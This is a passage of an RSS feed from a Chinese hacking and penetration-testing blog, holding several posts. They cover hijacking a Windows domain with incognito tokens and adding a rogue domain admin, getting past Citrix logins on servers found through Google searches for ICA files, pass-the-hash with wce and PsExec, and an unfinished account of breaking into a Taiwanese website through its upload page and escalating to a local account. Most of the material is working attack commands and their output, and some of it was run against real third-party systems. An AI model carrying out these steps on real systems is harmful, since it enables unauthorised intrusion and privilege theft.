<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 渗透</title>
	<atom:link href="http://www.4shell.org/archives/tag/%e6%b8%97%e9%80%8f/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Tue, 31 Jan 2012 12:43:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to attack a windows domain</title>
		<link>http://www.4shell.org/archives/2074.html</link>
		<comments>http://www.4shell.org/archives/2074.html#comments</comments>
		<pubDate>Mon, 02 Jan 2012 11:29:11 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2074</guid>
		<description><![CDATA[Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the [...]]]></description>
			<content:encoded><![CDATA[<p>Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the nbtstat tool to look for the right domain controller identifier or an obvious hostname.</p>
<p>You can also browse the network neighborhood or use the net view command.</p>
<p>Aquiring and cracking the hashes of your target is generally useful as well.</p>
<p>Enumerate group membership so you know who to target.</p>
<p>Get the usernames in the local administrators group:</p>
<pre>C:WINDOWSsystem32&gt;net localgroup administrators
net localgroup administrators
Alias name  administrators
Comment     Administrators have complete and unrestricted access to the computer/domain

Members
--------------------------------------
Administrator
BLACKHATDomain Admins
hacked
local_valsmith
root
The command completed successfully.</pre>
<p>Enumerate the domain admins</p>
<pre>C:WINDOWSsystem32&gt;net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain blackhat.com.

Group name   Domain Admins
Comment      Designated administrators of the domain

Members

---------------------------------------------------
admin_valsmith      Administrator
The command completed successfully.</pre>
<p>So admin_valsmith is our target domain admin. Lets say the workstation we hacked is on 172.16.1.10. We now need to find out of there are any security tokens we can access.</p>
<pre>c:incognito&gt;incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 list_tokens -u
[*] Attempting to establish new connection to \172.16.1.10IPC$
[*] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-FC12020A7EED}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Listing unique users found...

Delegation Tokens Available
==========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
XPCLIENTlocal_valsmith

Impersonation Tokens Available
==========================================
BLACKHATadmin_valsmith
NT AUTHORITYANONYMOUS LOGON

[*] Service shutdown detected. Service executable file deleted
[*] Deleting service</pre>
<p>So admin_valsmith is our target domain administrator and an impersonation token is available to us!</p>
<p>The above command assumes we have cracked the hash of the local admin and retrieved the password. This will connect to IPC$ share on the target and list any tokens that are available.</p>
<p>Next we will utilize this token to gain domain admin rights:</p>
<pre>C:incognitoincognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 execute -c "blackhatadmin_valsmith" cmd

[*] Attempting to establish new connection to \172.16.1.10IPC$
[+] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-9047A294CE6D}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[-] No Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32&gt;whoami
whoami
admin_valsmith</pre>
<p>So we now have a shell with the rights of the domain administrator. We will add an account to the domain controller to demonstrate our access:</p>
<p>C:net user hacked 0h3ck3d! /add /domain<br />
net user hacked 0h3cked! /add /domain<br />
The request will be processed at a domain controller for domain blackhat.com.</p>
<p>The command completed successfully.</p>
<p>Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.</p>
<pre>C:net group "domain admins" hacked /add /domain
net group "domain admins" hacked /add /domain
The reuqest will be processed at a domain controller for domain blackhat.com

The command completed successfully.</pre>
<p>At this point we have control over the domain and can likely log into any workstation which is on the domain.</p>
<p>Some further related reading:</p>
<p><a href="http://eusecwest.com/esw08/esw08-jennings.pdf">One token to Rule them All: Post-Exploitation Fun in Windows Environments</a></p>
<p><a href="http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf">Security implications of windows access tokens</a></p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf">Meta-Post_Exploitation.pdf</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1037.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2074.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Citrix密码绕过漏洞引发的渗透</title>
		<link>http://www.4shell.org/archives/2054.html</link>
		<comments>http://www.4shell.org/archives/2054.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 12:50:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Citrix]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2054</guid>
		<description><![CDATA[simeon Citrix系统以前听说过，未真正操作过，对于Citrix系统的研究来自与好友Mickey的指导，后面对此进行了一些研究，应该说小有心得，撰文与大家一起分享。 一、Citrix简介 Citrix是Citrix Systems, Inc.的一款主打产品，该公司主要提供全球接入架构解决方案，其解决方案能够让客户在任何时间、任何地点、在任何设备上，通过任何形式的网络连接，高效 获取各种应用、信息及通讯。Citrix技术使得数字办公室无处不在，令工作轻松易行。　　 Citrix以代号CTXS于Nasdaq Stock MarketSM上市，并获列入标准普尔500指数。2001财年公司总收益为5.92亿美元。Citrix 总部设于美国佛罗里达州 Fort Lauderdale，公司网站 http://www.citrix.com。 Citrix是一款广泛流行的远程桌面控制程序，类似于Microsoft的远程终端（Terminal Services）。只是其原理不同，Microsoft Terminal Services使用的是RDP(远程桌面协议，Remote Desktop Protocol)协议，而Citrix使用的是ICA (独立计算机架构，Independent Computing Architecture)协议。ICA技术已成为基于服务器计算模式的工业基础。ICA包括了包括以下三个重要内容： （1）MultiWin。在服务器上模拟本地应用程序处理的多用户层； （2）服务器端ICA软件。将应用程序的执行和显示逻辑分开，应用程序100%在服务器上进行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端； （3）客户端设备上的ICA软件：一方面接收显示界面，同时向服务器发送鼠标移动和键盘击键动作信息，对基于服务器上的应用程序进行操作。 ICA具有网络传输的高效性、客户端设备的灵活性、操作平台的灵活性以及连接方式的灵活性。由于在客户端与服务器之间无数据传送，传送的只是显示界 面，并运用Citrix特有的SpeedScreen技术（传输的仅是显示界面变化的部分），平均只占用10K的网络带宽。ICA可以在从286计算机到 现在的PIII级计算机上正常工作，可以在任何客户端操作系统平台上正常工作，客户端与服务器可通过多种连接方式LAN、WAN、电话拨号、 Internet、无线的Web方式等。 迄今全球已有近十五万家用户采用了Citrix解决方案，享受到ICA技术的客户端更超过五千万，其中包括世界财富500强中99%以上的集团，以及欧洲财经时代500强中75%以上的公司，Citrix凭借其卓越的技术方案和业务成就，赢得了业界与用户的广泛赞誉。 二、Citrix的工作方式 Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。 Citrix MetaFrame有XPs、XPa及XPe三个不同的版本，分别适合不同的环境使用；其中XPs是完全安全版，包括一些不同于其它版本的管理选 项；XPa和XPe则功能相对稍微少一点；Citrix 默认使用1494端口并且只和使用了Citrix ICA加密协议的客户端通信。 Citrix NFuse/Citrix安全网关中Citrix NFuse允许管理员锁定程序且只能通过Web浏览器通信。Citrix NFuse默认安装在IIS 5.0及以上版本上的。Citrix NFuse默认安装情况下的远程权限规则允许管理员执行Citrix安全网关。 三、一个Citrix渗透实例 （一）安装Citrix Presentation Server客户端 安装Citrix Presentation Server 客户端时跟安装其它普通软件没有什么不同，按照提示进行安装即可，不过在安装过程中需要注意一点，在选择客户端时只选择安装“Program Neighborhood”，“Web客户端”和“Program [...]]]></description>
			<content:encoded><![CDATA[<p>simeon<br />
Citrix系统以前听说过，未真正操作过，对于Citrix系统的研究来自与好友Mickey的指导，后面对此进行了一些研究，应该说小有心得，撰文与大家一起分享。<br />
一、Citrix简介<br />
Citrix是Citrix Systems, Inc.的一款主打产品，该公司主要提供全球接入架构解决方案，其解决方案能够让客户在任何时间、任何地点、在任何设备上，通过任何形式的网络连接，高效 获取各种应用、信息及通讯。Citrix技术使得数字办公室无处不在，令工作轻松易行。　　 Citrix以代号CTXS于Nasdaq Stock MarketSM上市，并获列入标准普尔500指数。2001财年公司总收益为5.92亿美元。Citrix 总部设于美国佛罗里达州 Fort Lauderdale，公司网站 http://www.citrix.com。<br />
Citrix是一款广泛流行的远程桌面控制程序，类似于Microsoft的远程终端（Terminal Services）。只是其原理不同，Microsoft Terminal Services使用的是RDP(远程桌面协议，Remote Desktop Protocol)协议，而Citrix使用的是ICA (独立计算机架构，Independent Computing Architecture)协议。ICA技术已成为基于服务器计算模式的工业基础。ICA包括了包括以下三个重要内容：<br />
<span id="more-2054"></span></p>
<p>（1）MultiWin。在服务器上模拟本地应用程序处理的多用户层；<br />
（2）服务器端ICA软件。将应用程序的执行和显示逻辑分开，应用程序100%在服务器上进行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端；<br />
（3）客户端设备上的ICA软件：一方面接收显示界面，同时向服务器发送鼠标移动和键盘击键动作信息，对基于服务器上的应用程序进行操作。<br />
ICA具有网络传输的高效性、客户端设备的灵活性、操作平台的灵活性以及连接方式的灵活性。由于在客户端与服务器之间无数据传送，传送的只是显示界 面，并运用Citrix特有的SpeedScreen技术（传输的仅是显示界面变化的部分），平均只占用10K的网络带宽。ICA可以在从286计算机到 现在的PIII级计算机上正常工作，可以在任何客户端操作系统平台上正常工作，客户端与服务器可通过多种连接方式LAN、WAN、电话拨号、 Internet、无线的Web方式等。<br />
迄今全球已有近十五万家用户采用了Citrix解决方案，享受到ICA技术的客户端更超过五千万，其中包括世界财富500强中99%以上的集团，以及欧洲财经时代500强中75%以上的公司，Citrix凭借其卓越的技术方案和业务成就，赢得了业界与用户的广泛赞誉。<br />
二、Citrix的工作方式<br />
Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。<br />
Citrix MetaFrame有XPs、XPa及XPe三个不同的版本，分别适合不同的环境使用；其中XPs是完全安全版，包括一些不同于其它版本的管理选 项；XPa和XPe则功能相对稍微少一点；Citrix 默认使用1494端口并且只和使用了Citrix ICA加密协议的客户端通信。<br />
Citrix NFuse/Citrix安全网关中Citrix NFuse允许管理员锁定程序且只能通过Web浏览器通信。Citrix NFuse默认安装在IIS 5.0及以上版本上的。Citrix NFuse默认安装情况下的远程权限规则允许管理员执行Citrix安全网关。<br />
三、一个Citrix渗透实例<br />
（一）安装Citrix Presentation Server客户端<br />
安装Citrix Presentation Server 客户端时跟安装其它普通软件没有什么不同，按照提示进行安装即可，不过在安装过程中需要注意一点，在选择客户端时只选择安装“Program Neighborhood”，“Web客户端”和“Program Neighborhood Agent”均不安装，即分别选中“Web客户端”和“Program Neighborhood Agent”前面向下的三角形箭头，然后选择“所有功能均不可用”，设置完毕后“Web客户端”和“Program Neighborhood Agent”前面会分别出现一个红色的叉，如图1所示。Citrix Presentation Server 客户端下载地址：http://www.antian365.com/viewthread.php?tid=6299&#038;extra=page%3D1<br />
图1 选择客户端<br />
（二）搜索ICA文件<br />
使用Citrix Presentation Server 客户端连接Citrix服务器主要通过读取ICA配置文件来实现，很多Citrix服务器在配置完毕后会将ICA文件放到网上供下载使用，也有一些是配置 完毕后无意放在网上，不过那种方式，只要获取正确的ICA文件即可进行连接。获取ICA文件最简单和方便的方法就是通过搜索引擎获取，直接打开IE浏览 器，在Google搜索中输入“Filetype:ica”搜索ica文件，如图2所示，搜索出来很多ICA文件。<br />
图2 搜索ICA文件<br />
（三）下载ICA文件<br />
在Google搜索结果中任意选择一个搜索记录，然后右键单击选择“另存为”，将所选择的ICA文件保存到本地。保存ICA文件的目的就是为了在本地进行 查看，如图3所示，在ICA文件中可以看到有WFClient、ApplicationServer、Route Clearing DB、EncRC5-0、Compress五个参数，WFClient参数中主要指定软件的版本，Citrix服务器地址和连接端口；第二个参数主要指定 初始程序等设置。下载ICA文件的另外一个目的就是尝试修改ICA文件中的配置参数InitialProgram，在权限管理不严格的Citrix服务器 中如果InitialProgram参数的值修改成cmd.exe或explorer.exe，连接Citrix服务器后可以直接调出远程服务器上的命令 提示符或者资源管理器。出来这两个东东，呵呵，不说你也知道可以干什么了！<br />
图3 ICA文件具体内容<br />
（四）直接打开ICA文件<br />
Citrix Presentation Server 客户端正确安装后，其默认打开后缀为ICA的文件，也可以直接单击网页中的ICA文件链接地址而打开Citrix链接提示框。在连接过程中会给出一些提 示，如果服务器、客户端以及参数相匹配，则会出现明显的登录警告等提示信息，如图4所示。<br />
图4 出现登录提示警告信息<br />
在测试过程中会有很多ICA文件是无效的或者说是过时的，有的虽然会出现一个连接提示信息，但由于协议不匹配的原因，最后将无法连接成功。还有一种情况通 过ICA文件可以连接，但需要连接方提供正确的用户名和密码，如图5所示，要求用户输入跟Windows登录类似的用户名和密码，只有输入正确的用户名和 密码后才能进入系统。<br />
图5 Citrix中的用户和密码验证</p>
<p>（五）使用快捷键绕过密码验证<br />
在连接上Citrix服务器后可以使用一些热键来进行常见的操作，一些常见的热键如下所示：<br />
SHIFT+F1: 打开本地任务列表<br />
SHIFT+F2: Toggle Title Bar<br />
SHIFT+F3: 关闭远程应用程序<br />
CTRL+F1: 显示Windows安全桌面相当于“Ctrl+Alt+Del”<br />
CTRL+F2: 打开远程任务列表<br />
CTRL+F3: 打开远程任务管理器，相当于本地热键“Ctrl+Shift+ESC”打开本地任务管理器。<br />
ALT+MINUS: 相当于本地的“ALT+SHIFT+TAB”热键在各个任务之间切换<br />
在Citrix服务器的某些版本存在密码绕过漏洞，通过热键直接调出任务管理器，从而绕过密码验证。即在出现确定的连接后，使用热键“CTRL+F3”打开远程的任务管理器，如图6所示，直接调出远程的任务管理器，呵呵，还是小日本的计算机呢！<br />
图6 使用热键“CTRL+F3”打开远程计算机上的任务管理器<br />
（六）进入远程Citrix服务器<br />
前面的进入的日文的Citrix服务器，看不懂，后面换了一台英文版本的进行测试，如图7所示，通过热键“CTRL+F3”打开远程计算机上的任务管理 器，然后在任务管理器中“文件”－“新建任务”－“打开”，在其中输入“cmd.exe”或者“Explorer”直接打开命令提示符或者资源管理器，如 图7所示，通过运行“Explorer”进入对方计算机。<br />
图7 通过新建任务进入远程Citrix服务器<br />
（七）问题与探讨<br />
1.修改参数失效。<br />
在下载的ICA文件中有些通过修改参数InitialProgram的值顺利的进入远程服务器，但有些ICA文件在修改其值后，连接Citrix服务器后却要求输入用户名和密码才能进入。在没有获取用户名和密码的情况下基本无法进入。<br />
2.具有执行程序权限，却很难提权<br />
通过ICA文件连接使用热键绕过密码验证，虽然能够使用计算机中的资源，执行部分或者全部程序，但由于权限限制，如果登录的用户不是administrator权限，则服务器提权很难成功。有关Citrix的更多漏洞可以参考http://secunia.com/advisories/search/?search=citrix<br />
3. Citrix服务器安全配置的一些方法<br />
（1）首先正确配置NFuse/Citrix Secure Gateway；<br />
（2）确定IIS/Apache已经打了最新补丁，并且在DMZ的保护中，或者使用NTLM认证；<br />
（3）如果可能，要求远程用户使用SecureID认证方式；<br />
（4）使用其它的浏览器取代IE；<br />
（5）建立一个组，把所有Citrix用户放到这个组里面，禁止他们访问cmd.exe、ftp.exe、 tftp.exe、rcp.exe、net.exe、command.com、iexplorer.exe等可能对系统有危害的权限(在安全与应用的平衡 之间选择)；笔者曾经在一个老外的服务器上看见其权限做的非常严格，对每一个文件、文件夹都进行了仔细的审核，尤其是system权限，进行了严格的分 配。<br />
（6）给你的Citrix打上最新的补丁；<br />
（7）禁止winhelp32的访问，设置Internet选项禁止下载，禁止使用进程管理器；<br />
（8）如果可能，设置Citrix Connection Configuration—>ica-tcp—>client settings—>选择必须为开。</p>
<p>--The End--</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2054.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>哈希注入工具wce</title>
		<link>http://www.4shell.org/archives/1888.html</link>
		<comments>http://www.4shell.org/archives/1888.html#comments</comments>
		<pubDate>Wed, 27 Apr 2011 17:46:35 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[HASH注入]]></category>
		<category><![CDATA[哈希注入]]></category>
		<category><![CDATA[域]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=1888</guid>
		<description><![CDATA[去年我介绍过一个HASH注入工具：内网渗透新杀器，这里有个简明用法 作者：BlAck.Eagle[B.H.S.T] （前几天写的个总结，方便记忆）结合新出的内网渗透工具wce来讲解下pass-the-hash技术，就是我们平时说的HASH注入。 1． 为什么要进行HASH注入？ Hash破解不出来或者省时省力 我们先简单的看下原理: （1） 攻击者第一步首先需要从受害者机器获取hash pwdump gsecdump等 普通机器：（192.168.0.102）通常是我们获得的某台肉鸡，通常为普通的webserver，不处于域中 获取方式： social engineering， password stealer， password cracker， malicious code，exploiting zero-day 域成员：(192.168.0.109)大的公司，获取webserver后，通常需要面对一个域内网， 通常上边有域管理员进行登录，或者是域管理员委派的用户。 DC：(192.168.0.7域控制器。 我们通过提权会得到“普通机器”的管理员权限，这时候我们通过HASH提取工具提取出HASH并可以到论坛提供的在线破解网址很容易破解，假如我得到了Administrator的密码20x78，这时候通常会以这个administrator密码social engineering域成员的那台机器。 我通过psexec在192.168.0.102操作，上传工具wce到192.168.0.109 在192.168.0.102上执行 PsExec.exe \\192.168.0.109 -u administrator -p 200798 -e c:\windows\system32\cmd.exe 经测试，不能执行net time /domain，说明为普通的域成员服务器 接下来，我们提取全部的HASH，并观察域管理的hash，进行注入，首先执行： C:\&#62;wce -l 提取全部HASH，红线部分为域管理员的HASH。 Wce -s Administrator:BLACKEAGLE:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F 复制代码 提示注入成功，我们现在是域管理员权限了，这样就可以登录DC了。 相关文章2010年04月29日 -- 域环境下的渗透2012年01月2日 -- How to [...]]]></description>
			<content:encoded><![CDATA[<p>去年我介绍过一个HASH注入工具：<a href="http://www.4shell.org/archives/1849.html">内网渗透新杀器</a>，这里有个简明用法</p>
<p>作者：BlAck.Eagle[B.H.S.T]</p>
<p>（前几天写的个总结，方便记忆）结合新出的内网渗透工具wce来讲解下pass-the-hash技术，就是我们平时说的HASH注入。</p>
<p>1．<br />
为什么要进行HASH注入？</p>
<p>Hash破解不出来或者省时省力</p>
<p>我们先简单的看下原理:</p>
<p><a href="http://www.4shell.org/wp-content/uploads/2011/04/80872b3daa175eb1828b13b4.png"><img class="alignnone size-medium wp-image-1889" title="80872b3daa175eb1828b13b4" src="http://www.4shell.org/wp-content/uploads/2011/04/80872b3daa175eb1828b13b4-300x132.png" alt="" width="300" height="132" /></a><br />
<span id="more-1888"></span><br />
（1）<br />
攻击者第一步首先需要从受害者机器获取hash<br />
pwdump gsecdump等</p>
<p><a href="http://www.4shell.org/wp-content/uploads/2011/04/6146111b4c58b7ff4aedbcb5.png"><img class="alignnone size-medium wp-image-1890" title="6146111b4c58b7ff4aedbcb5" src="http://www.4shell.org/wp-content/uploads/2011/04/6146111b4c58b7ff4aedbcb5-300x189.png" alt="" width="300" height="189" /></a></p>
<p>普通机器：（192.168.0.102）通常是我们获得的某台肉鸡，通常为普通的webserver，不处于域中</p>
<p>获取方式： social engineering， password stealer， password cracker， malicious code，exploiting zero-day</p>
<p>域成员：(192.168.0.109)大的公司，获取webserver后，通常需要面对一个域内网， 通常上边有域管理员进行登录，或者是域管理员委派的用户。</p>
<p>DC：(192.168.0.7域控制器。</p>
<p>我们通过提权会得到“普通机器”的管理员权限，这时候我们通过HASH提取工具提取出HASH并可以到论坛提供的在线破解网址很容易破解，假如我得到了Administrator的密码20x78，这时候通常会以这个administrator密码social engineering域成员的那台机器。</p>
<p>我通过psexec在192.168.0.102操作，上传工具wce到192.168.0.109<br />
<a href="http://www.4shell.org/wp-content/uploads/2011/04/318c6a1c6016fa41304e15b4.png"><img class="alignnone size-medium wp-image-1891" title="318c6a1c6016fa41304e15b4" src="http://www.4shell.org/wp-content/uploads/2011/04/318c6a1c6016fa41304e15b4-300x157.png" alt="" width="300" height="157" /></a></p>
<p>在192.168.0.102上执行</p>
<p>PsExec.exe \\192.168.0.109 -u administrator -p 200798 -e c:\windows\system32\cmd.exe</p>
<p>经测试，不能执行net time /domain，说明为普通的域成员服务器<br />
<a href="http://www.4shell.org/wp-content/uploads/2011/04/d3b2b970f5f6de578701b0b5.png"><img class="alignnone size-medium wp-image-1892" title="d3b2b970f5f6de578701b0b5" src="http://www.4shell.org/wp-content/uploads/2011/04/d3b2b970f5f6de578701b0b5-300x154.png" alt="" width="300" height="154" /></a></p>
<p>接下来，我们提取全部的HASH，并观察域管理的hash，进行注入，首先执行：</p>
<p>C:\&gt;wce -l</p>
<p>提取全部HASH，红线部分为域管理员的HASH。<br />
<a href="http://www.4shell.org/wp-content/uploads/2011/04/1e5e368805f44a349e2fb4b5.png"><img class="alignnone size-medium wp-image-1893" title="1e5e368805f44a349e2fb4b5" src="http://www.4shell.org/wp-content/uploads/2011/04/1e5e368805f44a349e2fb4b5-300x112.png" alt="" width="300" height="112" /></a></p>
<p>Wce -s Administrator:BLACKEAGLE:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F<br />
复制代码<br />
提示注入成功，我们现在是域管理员权限了，这样就可以登录DC了。</p>
<p><a href="http://www.4shell.org/wp-content/uploads/2011/04/1e89b07c1a0d6a4328388ab5.png"><img class="alignnone size-medium wp-image-1894" title="1e89b07c1a0d6a4328388ab5" src="http://www.4shell.org/wp-content/uploads/2011/04/1e89b07c1a0d6a4328388ab5-300x131.png" alt="" width="300" height="131" /></a></p>
<p><a href="http://www.4shell.org/wp-content/uploads/2011/04/d86b0009136c485495ca6bb4.png"><img class="alignnone size-medium wp-image-1895" title="d86b0009136c485495ca6bb4" src="http://www.4shell.org/wp-content/uploads/2011/04/d86b0009136c485495ca6bb4-300x141.png" alt="" width="300" height="141" /></a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1888.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>渗透某大型内网入侵过程</title>
		<link>http://www.4shell.org/archives/1808.html</link>
		<comments>http://www.4shell.org/archives/1808.html#comments</comments>
		<pubDate>Sat, 17 Jul 2010 08:39:08 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[内网渗透]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1808.html</guid>
		<description><![CDATA[本文阐述：文章从网站入侵到内网渗透提权，作者给大家带来了一篇精彩的内网渗透文章。读后此文你能清晰的认识到内网入侵的细节技术。 由于平时比较忙，用了很久的VPN肉鸡飞掉了，近来正好有时间于是打开google搜索upfile.asp开始找肉鸡，来了台湾某XX站，http://xxx.xxx.tw/xx/upfile.asp，为了不必要的麻烦，我隐藏了敏感内容。直接到传asp提示错误，那么直接传了gif以后，查看上传路径发现自己重命名了，如果没有重命名的话在IIS6下百分之90以上可以拿shell了，除去目录末有执行脚本权限。最后抓包分析改上传路径，最后得到一个shell，图1。具体方法翻翻以前杂志或google找吧，一找一大堆。 执行命令后，发现权限还比较大，能够执行一些简单命令，像net user、ipconfig /all等等。。 不过执行添加用户的肯定是不行了，由于支持ASPX我想起来去年暴的本地提权，直接上传Churrasco.exe，我这里命名为c.exe。运行命令为：/c E:websitewwwrootxxxxxupc.exe "net user nohack nohack /add"。必须有双引号，双引号里是执行的命令。最后成功加了用户，。 执行netstat -an发现3389开放，很兴奋的连接上去，却提示“无法连接远程计算机”，不应该呀，明明开着3389呢，google了下. 一般开了3389无法连接的原因有： 1、服务器在内网。用显示的IP来看是用公网IP的，先排除。 2、做了tcp/ip筛选。执行CMD命令：cmd /c regedit -e c:1.reg 